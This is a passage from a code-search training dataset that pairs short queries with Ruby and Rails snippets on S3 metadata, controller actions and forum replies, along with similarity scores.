"def set_metadata\n s3_obj.metadata[\"filename\"] = file_name\n s3_obj.metadata[\"bindery-pid\"] = persistent_id\n end",
"def object_uploaded_with_metadata?(\r\n s3_client,\r\n bucket_name,\r\n object_key,\r\n metadata\r\n)\r\n response = s3_client.put_object(\r\n bucket: bucket_name,\r\n body: \"c:\\\\my-file.txt\",\r\n key: object_key,\r\n metadata: metadata\r\n )\r\n if response.etag\r\n return true\r\n else\r\n return false\r\n end\r\nrescue StandardError => e\r\n puts \"Error uploading object: #{e.message}\"\r\n return false\r\nend",
"def name(name)\n @metadata = @metadata.with_name(name)\n end",
"def update_metadata_field(field_name, value)\n @client.put(\"#{metadata_path}/#{field_name}\", nil, { value: value }, \"Content-Type\" => \"application/json\")\n end",
"def s3_write(key, value)\n @s3.put_object(bucket: ENV.fetch(\"AWS_BUCKET\"), key: key, body: value,\n content_type: \"text/plain; charset=utf-8\")\n end",
"def update_metadata(dataset, metadata = {})\n metadata = get_metadata(metadata)\n metadata.each { |k, v| dataset.metadata[k] = v }\n dataset.save\n end",
"def create_object(object_key, value, metadata = {})\n object_key_escaped = S3::Object.escape_key(object_key)\n \n headers = {}\n metadata.each {|key, value| headers[\"x-amz-meta-#{key}\"] = value }\n \n response = @s3.request_put(\"/#{@name}/#{object_key_escaped}\", value,\n headers)\n @s3.error?(response)\n\n @cache.delete(:objects)\n\n return get_object(object_key)\n end",
"def overwrite_metadata(metadata, section, key, value)\n return unless key.is_a?(String) || key.is_a?(Symbol)\n\n metadata[section] ||= {}\n metadata[section][key] = value\n end",
"def update!(**args)\n @bucket_name = args[:bucket_name] if args.key?(:bucket_name)\n @generation = args[:generation] if args.key?(:generation)\n @object_name = args[:object_name] if args.key?(:object_name)\n end",
"def save(key, value)\n s3_write key, value\n end",
"def create_object(bucket_name, key, data, headers = {}, meta_headers = {}, acl = :private)\n headers = headers.dup\n meta_headers.each do |k,v|\n headers[k =~ /^x-amz-meta-/i ? k : \"x-amz-meta-#{k}\"] = v\n end\n headers['x-amz-acl'] = acl.to_s.gsub(/_/, '-')\n\n response = send_s3_request('PUT', :bucket => bucket_name, :key => key, :headers => headers, :data => data)\n response.is_a?(Net::HTTPSuccess)\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def rename(new_name)\n json_body = { :name => new_name }.to_json\n HTTParty.put(base_request_uri, :body => json_body)\n @name = new_name\n end",
"def update_metadata(params)\n @client.put(metadata_path, nil, params, \"Content-Type\" => \"application/json\")\n end",
"def set_container_metadata(name, metadata, options={})\n # Query\n query = { 'comp' => 'metadata' }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n # Headers\n headers = StorageService.common_headers\n StorageService.add_metadata_to_headers(metadata, headers) if metadata\n\n # Call\n call(:put, container_uri(name, query), nil, headers, options)\n \n # Result\n nil\n end",
"def update_metadata(key, **metadata); end",
"def update_name(new_name)\n ensure_uri\n response = @client.rest_put(@data['uri'], 'body' => { 'name' => new_name, 'type' => 'ArtifactsBundle' })\n @client.response_handler(response)\n @data['name'] = new_name\n true\n end",
"def attribute_set(name, value)\n \n name = name.to_sym\n \n if properties.has_key?(name)\n properties[name].set(self, value)\n else\n @metadata[name] = value\n end\n \n end",
"def update(context, name, should)\n res = context.transport.put_request(context, \"blobstores/#{should[:type]}/#{name}\", should[:attributes])\n\n context.err(res.body) unless res.success?\n end",
"def update_metadata(direction, metadata)\n end",
"def s3_updatefile(filename, filedata)\n s3_deletefile filename\n #AWS::S3::S3Object.store filename, filedata, QBUCKET.to_s, :access => :public_read\n AWS::S3::S3Object.store filename, filedata, IMAGES_BUCKET.to_s, :access => :public_read\n end",
"def set_metadata(metadatahash)\n headers = {}\n metadatahash.each{|key, value| headers['X-Object-Meta-' + key.to_s.capitalize] = value.to_s}\n response = self.container.connection.cfreq(\"POST\",@storagehost,@storagepath,headers)\n raise NoSuchObjectException, \"Object #{@name} does not exist\" if (response.code == \"404\")\n raise InvalidResponseException, \"Invalid response code #{response.code}\" unless (response.code == \"202\")\n true\n end",
"def set(key, value)\n @metadata[key] = value\n end",
"def add_to_hash(storage_hash, name, new_name)\r\n storage_hash[name] = new_name\r\nend",
"def run_me\r\n bucket_name = 'doc-example-bucket'\r\n object_key = 'my-file.txt'\r\n metadata = {\r\n author: 'Mary Doe',\r\n version: '1.0.0.0'\r\n }\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n if object_uploaded_with_metadata?(\r\n s3_client,\r\n bucket_name,\r\n object_key,\r\n metadata\r\n )\r\n puts \"Object '#{object_key}' uploaded to bucket '#{bucket_name}' \" \\\r\n 'with metadata.'\r\n else\r\n puts \"Object '#{object_key}' not uploaded to bucket '#{bucket_name}'.\"\r\n end\r\nend",
"def put_metadata(doi, metadata)\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"doi=#{doi}\",\n \"metadata=#{metadata}\",\n \"\" ], bold_puts: debug_verbose_puts if debug_verbose\n doi = prefix if doi.blank?\n response = mds_connection.put(\"metadata/#{doi}\", metadata, { 'Content-Type': 'application/xml;charset=UTF-8' })\n raise Error.new(\"Failed creating metadata for DOI '#{doi}'\", response) unless response.status == 201\n\n /^OK \\((?<found_or_created_doi>.*)\\)$/ =~ response.body\n found_or_created_doi\n end",
"def set_queue_metadata(queue_name, metadata = {})\r\n execute(:put, queue_name, { :comp => 'metadata' }, metadata.merge!(:x_ms_version => '2009-09-19'))\r\n end",
"def rename_object(object,newname)\n session do\n response = script_mode do\n query(\"zoneobjectrename \\\"#{object}\\\", \\\"#{newname}\\\"\")\n end\n \n validate_and_save(response)\n pull newname.to_s, :object => get_obj_type(object)\n end\n end",
"def update_metadata(key, **metadata)\n end",
"def update_object(new_name, log)\n self.name = new_name\n save\n observation.log(:log_naming_updated,\n name: format_name, touch: log)\n true\n end",
"def store(data)\n establish_s3_connection\n bucket = s3keys[\"bucket\"]\n ensure_bucket_exists(bucket)\n \n conn = AWS::S3.new\n obj = conn.buckets[bucket].objects[key]\n obj.write(data)\n end",
"def update_file_on_s3(file, objects)\n file_path = s3_file_path(file)\n conn = RedmineS3::Connection.conn\n object = objects[file_path]\n\n # get the file modified time, which will stay nil if the file doesn't exist yet\n # we could check if the file exists, but this saves a head request\n s3_mtime = object.last_modified rescue nil \n\n # put it on s3 if the file has been updated or it doesn't exist on s3 yet\n if s3_mtime.nil? || s3_mtime < File.mtime(file)\n fileObj = File.open(file, 'r')\n RedmineS3::Connection.put(file_path, fileObj.read)\n fileObj.close\n\n puts \"Put file \" + File.basename(file)\n else\n puts File.basename(file) + ' is up-to-date on S3'\n end\n end",
"def save(opts)\n puts \"Storing #{opts[:bucket]}/#{opts[:name]}...\"\n AWS::S3::S3Object.store(opts[:name], opts[:blob], opts[:bucket], {\n :cache_control => 'max-age=315360000, public',\n :expires => (Time.now + 315360000).httpdate,\n :access => opts[:access]\n })\n end",
"def bucket_policy_aws_principal_updated?(\r\n s3_client,\r\n bucket_name,\r\n new_aws_principal\r\n)\r\n bucket_policy = s3_client.get_bucket_policy(bucket: bucket_name).policy.read\r\n policy_json = JSON.parse(bucket_policy)\r\n\r\n policy_json['Statement'][0]['Principal']['AWS'] = new_aws_principal\r\n\r\n s3_client.put_bucket_policy(\r\n bucket: bucket_name,\r\n policy: policy_json.to_json\r\n )\r\n return true\r\nrescue StandardError => e\r\n puts \"Error updating bucket policy: #{e.message}\"\r\n return false\r\nend",
"def update_object(object, name, price)\n object.item_variation_data.name = name\n object.item_variation_data.price_money.amount = (price.to_f * 100).to_i\n object\n end"
] | [
"0.72068065",
"0.6297951",
"0.6294349",
"0.62638694",
"0.61404026",
"0.61331016",
"0.59943455",
"0.5990066",
"0.5969343",
"0.59573895",
"0.5951588",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.59445983",
"0.5942197",
"0.5942197",
"0.5942197",
"0.5942197",
"0.5942197",
"0.5942197",
"0.5942197",
"0.5896581",
"0.5885184",
"0.58832",
"0.58714473",
"0.5868894",
"0.5844921",
"0.5839785",
"0.58355606",
"0.5826996",
"0.58264726",
"0.58135533",
"0.58090246",
"0.57539016",
"0.57215166",
"0.5717217",
"0.5712581",
"0.570971",
"0.5706826",
"0.57035595",
"0.5690983",
"0.56736004",
"0.5666529",
"0.5638679"
] | 0.73467493 | 0 |
the active_scaffold_export template path | def template_search_path_with_export(frontend = self.frontend)
frontends_path = "../../vendor/plugins/#{ActiveScaffold::Config::Core.export_plugin_directory}/frontends"
search_path = template_search_path_without_export
search_path << "#{frontends_path}/#{frontend}/views" if frontend.to_sym != :default
search_path << "#{frontends_path}/default/views"
return search_path
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def template_path() 'demo/admin/billing.erb' end",
"def scaffold_path(template_name)\n File.join(scaffold_template_dir, template_name+'.rhtml')\n end",
"def scaffold_path(template_name)\n self.class.scaffold_path(template_name)\n end",
"def pathTemplates\n \"./templates/\"\nend",
"def template_path()\n 'admin/billing.erb'\n end",
"def full_template_path\n template_root.join(\"#{@template}.erb\").to_s.squeeze(\"/\")\n end",
"def template_path\n File.expand_path('../templates', __FILE__)\n end",
"def template_path\n \"#{template_dir}/#{template_name}\"\n end",
"def full_path\n \"templates/#{filename}\"\n end",
"def templates_path\n expanded_path_for('/generators')\nend",
"def template_path\n File.expand_path(File.join(File.dirname(__FILE__), \"template.rb\"))\n end",
"def scaffold_template_dir\n @scaffold_template_dir ||= TEMPLATE_DIR\n end",
"def path\n # self.id is not accurate, it may use imported theme of design site.\n # on other side, design site may release template first time. current_template_release = nil\n if self.current_template_release.present?\n File.join( File::SEPARATOR+'layouts', \"t#{self.current_template_release.theme_id}_r#{self.release_id}\")\n else\n File.join( File::SEPARATOR+'layouts', \"t#{self.id}_r#{self.release_id}\")\n end\n end",
"def path\n # self.id is not accurate, it may use imported theme of design site.\n # on other side, design site may release template first time. current_template_release = nil\n if self.current_template_release.present?\n File.join( File::SEPARATOR+'layouts', \"t#{self.current_template_release.theme_id}_r#{self.release_id}\")\n else\n File.join( File::SEPARATOR+'layouts', \"t#{self.id}_r#{self.release_id}\")\n end\n end",
"def template_path\n File.join path, 'templates'\n end",
"def base_template_path\n File.join(Rails.root, 'config', 'default_data', 'master-template.xlsx')\n end",
"def templates_path\n @templates_path\n end",
"def template_path\n @options[:template_path]\n end",
"def template_path\n return File.join(File.dirname(__FILE__), \"../../../templates\", platform)\n end",
"def template_path\n File.join(File.dirname(__FILE__), 'templates', 'type', \"#{@format}.erb\")\n end",
"def template_path\n Jets::Naming.api_gateway_template_path\n end",
"def template_path\n Jets::Naming.api_gateway_template_path\n end",
"def template_dir\n self.class.name.underscore\n end",
"def compiled_template_path\n return nil if object.source.blank?\n object.source.filesystem_name + \"/templates/\" + object.perspective.gsub(\" \", \"\").underscore\n end",
"def export_path\n \"exp_#{self.basename.gsub(/[^A-Za-z0-9_]/,'_')}\"\n end",
"def template_path(template, opts)\n t = template.to_s\n if (v = @_view_subdir) && t !~ /\\//\n template = \"#{v}/#{t}\"\n end\n super\n end",
"def template_path(extension)\n File.expand_path('../../../views/renderers/' + @dirname + '/' + @placeholder + '.' + extension, __FILE__)\n end",
"def template_base_path\n @template_base_path ||= Inkblot.vendor_path('templates')\n end",
"def template_file_name\n File.join(['structure', \"views\", \"#{controller_name}.html\"])\n end",
"def filepath\n File.join(Myreplicator.configs[@export_obj.source_schema][\"export_stg_dir\"], @export_obj.filename)\n end",
"def template_path(name)\n name = name.to_s\n if name.include?('/') # Specific path like 'representers/somethingorother/foo.haml' given.\n name\n else\n File.join(self.class.representer_path, name)\n end\n end",
"def template_dir\n 'app/views/'\n end",
"def template_full_path\n @template_full_path ||= [template_base_path, template_filename].join('/')\n end",
"def compile_template_path\n \"#{__class__.to_s.snake_case.gsub('::','/')}/#{@__type}\"\n end",
"def base_export_dir\n \"#{@directory.slug}_files\"\n end",
"def path\n File.join( File::SEPARATOR+'layouts', \"t#{self.theme_id}_r#{self.id}\")\n end",
"def pathname\n \"public/themes/#{self.directory_name}/#{self.template_filename}\"\n end",
"def pathExports\n \"./mosync-doc-exports-130418/\"\nend",
"def template_name; end",
"def template_name; end",
"def template_name\n self.path.scan(/[^\\/]+$/).first\n end",
"def template_path\n @template_path ||= @env[:templates_path] || default_settings[:templates_path]\n Pathname.new @template_path\n end",
"def template_path\n @template_path ||= Rails.root.join('app', 'assets', 'javascripts', 'templates')\n # @template_path ||= Rails.root.join('app', 'handlebars', 'templates')\n end",
"def full_path\n path + \"/#{@action}.html.erb\"\n end",
"def path_template\n\t\t\t\t@global.paths[@path_spec]\n\t\t\tend",
"def template_path()\n 'demo/auth/signup.erb'\n end",
"def wizard_page_template(main_wizard_model) \n# \"#{main_wizard_model.class.to_s.underscore}_wizard_pages/#{main_wizard_model.current_template}\" \n path = @controller.class.controller_path\n\n \"#{path}/sub_pages/#{main_wizard_model.current_template}\" \n end",
"def template_path\n @default_options.fetch(:template_path, nil)\n end",
"def template_path(template)\n File.join(@root, 'templates', self.class::FILES[template])\n end",
"def layout_path\n File.join( \"t#{self.theme_id}_r#{self.id}\", template_theme.file_name( \"ehtml\" ))\n end",
"def render_path\n @render_path ||= generate_file_name(@site.config[\"url\"], @site.config[\"baseurl\"])\n end",
"def page_template_filename(page_template)\n ('template_' + page_template)\n end",
"def template_dir\n Templates.path_for(template_dir_name)\n end",
"def resource_template_dir\n \"#{App.config.resource_directory}/templates\"\n end",
"def template_path_with_engine_additions\n \"{#{template_paths.join(\",\")}}\"\n end",
"def single_item_path(item_path)\n File.join(template_root, 'object_templates', item_path)\n end",
"def to_partial_path\n ::File.basename(super)\n end",
"def template_path template, is_layout=false\n dir = if template.to_s[0] == ?/\n @app.root_dir\n elsif is_layout\n @app.layouts_dir\n else\n @app.views_dir\n end\n\n path = File.join(dir, template.to_s)\n path.gsub!('*', controller_name)\n File.expand_path(path)\n end",
"def template_path_with_engine_additions\n \"{#{template_paths.join(\",\")}}\"\n end",
"def index_path\n return templates_path\n end",
"def path\n Pathname(super)\n end",
"def template_filepath(filename)\n filepath = File.join(File.dirname(__FILE__), \"coreos/#{filename}.erb\")\n end",
"def generate_template_path_from options\n File.join generate_path_from(options), options.name\n end",
"def template_path\n \n custom_path = File.expand_path(\"./config/deploy/templates/unicorn.service.erb\")\n original_path = File.expand_path(\"../templates/unicorn.service.erb\", __FILE__)\n \n File.exist?(custom_path) ? custom_path : original_path\n end",
"def template_module_name(path); end",
"def output_path; end",
"def view_path\n File.join path, 'views'\n end",
"def to_partial_path\n \"alchemy/elements/#{name}_view\"\n end",
"def view_paths; end",
"def view_paths; end",
"def view_paths; end",
"def template_path_from view, options\n template = view.find_template tentative_template_path(options)\n \n template && template.path\n end",
"def template(name)\n File.join TemplatePath, \"#{name}.rb\"\nend",
"def render_path(template, options = {:partial => true, :con_name => nil})\n options[:con_name] ||= controller_name\n template_file = \"_#{template}\" if options[:partial]\n File.exist?(File.join(RAILS_ROOT, 'app', 'views', options[:con_name], template_file + \".rhtml\")) ? template : \"../../vendor/plugins/streamlined/templates/generic_views/#{template}\"\n end",
"def pathSourceProjectList\n\t\"./project-list-template.json\"\nend",
"def path_template\n @attributes[:path_template]\n end",
"def _template_location(action, type = nil, controller = controller_name)\n \"#{controller}/#{action}.#{type}\"\n end",
"def template_filepath(filename)\n raise ProjectRazor::Error::Slice::InternalError, \"must provide esxi version.\" unless @osversion\n filepath = File.join(File.dirname(__FILE__), \"esxi/#{@osversion}/#{filename}.erb\")\n end",
"def path_to_template name\n \"#{JSPEC_ROOT}/templates/#{name}/.\"\n end",
"def _template_location(action, type = nil, controller = controller_name)\n \"#{controller}/#{action}.#{type}\"\n end",
"def template_path()\n 'auth/signup.erb'\n end",
"def template_path(template, node)\n cookbook_name = template.cookbook || template.cookbook_name\n cookbook = node.cookbook_collection[cookbook_name]\n cookbook.preferred_filename_on_disk_location(node, :templates, template.source)\nend",
"def path(file)\n File.join File.dirname(__FILE__), '../../templates/', file\n end",
"def template_filename\n @template_filename ||= self.class.name.split('::').last + -'.html.erb'\n end",
"def template(*path); end",
"def mktg_template_filename( options )\n if options[:partial]\n partial = options[:partial]\n if partial =~ /\\//\n partial = partial.sub(/\\/(?!.*\\/)/, '/_')\n else\n partial = \"_#{partial}\"\n end\n if options[:path]\n path = \"#{$pjpp_country_version}/#{$pjpp_template_set}/#{options[:path]}\"\n else\n path = \"#{$pjpp_country_version}/#{$pjpp_template_set}/#{params[:controller]}\"\n end\n return \"#{path}/#{partial}.rhtml\"\n else\n action = options[:action] || params[:action]\n return \"#{$pjpp_country_version}/#{$pjpp_template_set}/#{params[:controller]}/#{action}.rhtml\"\n end\n end",
"def views_path\n (RUBYCOCOA_ROOT + 'app/views').to_s\n end",
"def file_path( target )\n File.join(template_theme.website.path, self.path, template_theme.file_name(target))\n end",
"def add_jader_views_to_path\n path = Rails.root.join('app','assets','javascripts','apps', @platform, 'templates')\n prepend_view_path path\n end",
"def template_path(filename)\n File.join(PatienceDiff::TEMPLATE_PATH, filename)\n end",
"def render_file_path(template)\n template.gsub(%r{.templates/.*?erb}, File.basename(template)).gsub('.erb', '')\n end",
"def template_path( *fns )\n TDP.application.add_template_path(files: fns, freeze: false)\n end",
"def template\n Pathname.new(@template || OodPortalGenerator.root.join('templates', 'ood-portal.conf.erb'))\n end",
"def template_file(file)\n File.join(\n MiGA::MiGA.root_path,\n 'lib', 'miga', 'cli', 'action', 'browse', file\n )\n end",
"def pathSourcePackageJson\n\t\"./package-template.json\"\nend",
"def template_path\n path = File.expand_path File.join(@template_options[CONFIG_PATH], @template_options[TEMPLATE_NAME])\n # TODO fix and throw some sort of cool exception\n if !File.exists? path\n path = nil\n end\n return path\n end",
"def to_partial_path\n\t\t\t\t\"br_boleto/#{self.class.name.demodulize.underscore}\"\n\t\t\tend",
"def template_dir\n File.dirname(__FILE__) + '/../cfg'\n end",
"def render_path\n return @render_path.dup unless @page_url.nil?\n generate_file_name()\n @render_path.dup\n end",
"def to_partial_path\n \"alchemy/site_layouts/#{partial_name}\"\n end"
] | [
"0.74903905",
"0.734632",
"0.72725904",
"0.7223041",
"0.7079919",
"0.7075234",
"0.6995853",
"0.69882",
"0.6979815",
"0.6909299",
"0.6866169",
"0.6863346",
"0.6862625",
"0.6862625",
"0.6861741",
"0.6815541",
"0.68019444",
"0.67756975",
"0.6763028",
"0.6740524",
"0.6726306",
"0.6726306",
"0.67222404",
"0.67019725",
"0.66894585",
"0.6671952",
"0.6669603",
"0.6637831",
"0.66282886",
"0.6627744",
"0.6618986",
"0.6562486",
"0.65517104",
"0.65438795",
"0.6520357",
"0.65101147",
"0.64887387",
"0.64828706",
"0.6447175",
"0.6447175",
"0.6443071",
"0.64269274",
"0.6420947",
"0.64124775",
"0.64099705",
"0.6408862",
"0.6403011",
"0.639265",
"0.63900024",
"0.6354077",
"0.6352797",
"0.6348577",
"0.63297856",
"0.63248134",
"0.6324205",
"0.6322472",
"0.63181424",
"0.6302716",
"0.62983555",
"0.629649",
"0.62849814",
"0.6284823",
"0.62843156",
"0.6280792",
"0.627158",
"0.6267412",
"0.6264499",
"0.62538666",
"0.62465495",
"0.62465495",
"0.62465495",
"0.6243729",
"0.6230929",
"0.6223005",
"0.62216276",
"0.62172985",
"0.6198649",
"0.6185915",
"0.617381",
"0.61668926",
"0.6152838",
"0.614427",
"0.61298496",
"0.61292744",
"0.61072046",
"0.61048",
"0.60936",
"0.60849994",
"0.6083348",
"0.60678023",
"0.60542464",
"0.60526335",
"0.60505486",
"0.6048246",
"0.6046031",
"0.60398316",
"0.6038869",
"0.6038746",
"0.60363847",
"0.6036173"
] | 0.71023506 | 4 |
GET /testreplyposts GET /testreplyposts.json | def index
@testreplyposts = Testreplypost.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def index\n @post_replies = PostReply.all\n end",
"def index\n @replies = Reply.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @replies }\n end\n end",
"def show\n render json: @reply\n end",
"def index\n @replies = Reply.all\n end",
"def index\n @replies = Reply.all\n end",
"def index\n @replies = Reply.all\n end",
"def index\n @replies = Reply.all\n end",
"def show\n @reply = Reply.find(params[:id])\n\n render json: @reply\n end",
"def reply\n @title = \"Reply\"\n @user=User.find(params[:id])\n @micropost=Micropost.new\n respond_to do |format|\n format.html\n format.json { render json: @micropost }\n end\n\n end",
"def index\n @replies = Reply.all\n end",
"def show \n @post = Post.find(params[:id])\n \n @replies = Kaminari.paginate_array(@post.all_replies.order(\"created_at DESC\")).page params[:page]\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { \n @replies << @post\n render json: @replies.to_json(:include => { :user => { :only => :username } }, :only =>[:id,:content,:post_date,:user_id] )\n }\n format.js\n end\n end",
"def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def index\n @reply_answers = ReplyAnswer.all\n end",
"def index\n @replies = Reply.order(created_at: :desc).limit(250)\n end",
"def show\n @reply = Reply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reply }\n end\n end",
"def show\n @reply = Reply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reply }\n end\n end",
"def index\n @rreplies = Rreply.all\n end",
"def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end",
"def set_testreplypost\n @testreplypost = Testreplypost.find(params[:id])\n end",
"def index\n @message_posts = MessagePost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @message_posts }\n end\n end",
"def show\n @likesforreply = Likesforreply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @likesforreply }\n end\n end",
"def index\n @replies = @comment.replies\n end",
"def replies\n Reply.find_by_question_id(@id)\n end",
"def replies\n Reply.where(:discussion_id => id).order('created_at ASC')\n end",
"def test_function_get_all_posts_successfully\n expected = 200\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def load_replies\n @replies = []\n \n if @replies_json != \"\"\n # if we have some replies, create them\n @replies_json[\"data\"][\"children\"].each do |comment|\n if @submission\n @replies << Comment.new(comment[\"data\"], @submission)\n else\n @replies << Comment.new(comment[\"data\"])\n end\n end\n end\n end",
"def replies\n options = {}\n if params[:per_page]\n options[:limit] = params[:per_page].to_i\n if params[:page] && params[:page].to_i >= 1\n options[:offset] = params[:per_page].to_i * (params[:page].to_i-1)\n end\n end\n options[:conditions] = {:channel_id => @channel.id, :reference_to => @message.id }\n sort_order = 'DESC'\n if params[:sort_order]\n if params[:sort_order] == 'ascending'\n sort_order = 'ASC'\n elsif params[:sort_order] == 'descending'\n sort_order = 'DESC'\n end\n end\n options[:order] = 'updated_at ' + sort_order\n @messages = Message.all(options)\n size = Message.count(:conditions => options[:conditions])\n\n render_json :entry => @messages, :size => size and return\n end",
"def reply_to_post\n puts params[:reply]\n @post = Post.find(params[:reply][:post_id])\n @reply = @post.replies.build(params[:reply])\n @reply.user_id = current_user.id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to(board_post_path(@post.board, @post), notice => 'Post was successfully created.') }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n authorize! :index, Post\n @replies = RepliesQueryFilter.new(params, current_ability).run_query\n end",
"def index\n @replies = Reply.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @replies }\n end\n end",
"def index\n \t@blog = Blog.find(params[:id])\n @replies = @blog.replie\n end",
"def replies\r\n RepliesController.instance\r\n end",
"def create\n @testreplypost = Testreplypost.new(testreplypost_params)\n\n respond_to do |format|\n if @testreplypost.save\n format.html { redirect_to @testreplypost, notice: 'Testreplypost was successfully created.' }\n format.json { render :show, status: :created, location: @testreplypost }\n else\n format.html { render :new }\n format.json { render json: @testreplypost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @test_posts = TestPost.all\n end",
"def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n \n conditions = \"reply_to_post is NULL\"\n if !params[:last_message_received].blank? and params[:last_message_received].to_i > 0\n conditions = conditions + \" AND id > #{params[:last_message_received].to_i}\"\n end\n \n\n center_point = [params[:lat], params[:lon]]\n box = Geocoder::Calculations.bounding_box(center_point, 1) #1km box for now\n \n if params[:tag].blank?\n @posts = Post.within_bounding_box(box).where(conditions).order(\"created_at DESC\").page params[:page]\n else\n @posts = TagName.find_by_name(params[:tag]).posts.within_bounding_box(box).where(conditions).order(\"created_at DESC\").page params[:page]\n end\n \n @posts = Post.where('id = 1').page params[:page] if @posts.size == 0 and (params[:last_message_received].blank? or params[:last_message_received].to_i == 0)\n\n only = [:id,:content,:post_date,:user_id] \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts.to_json(:include => { :user => { :only => :username } }, :only =>only ) }\n format.js\n end\n end",
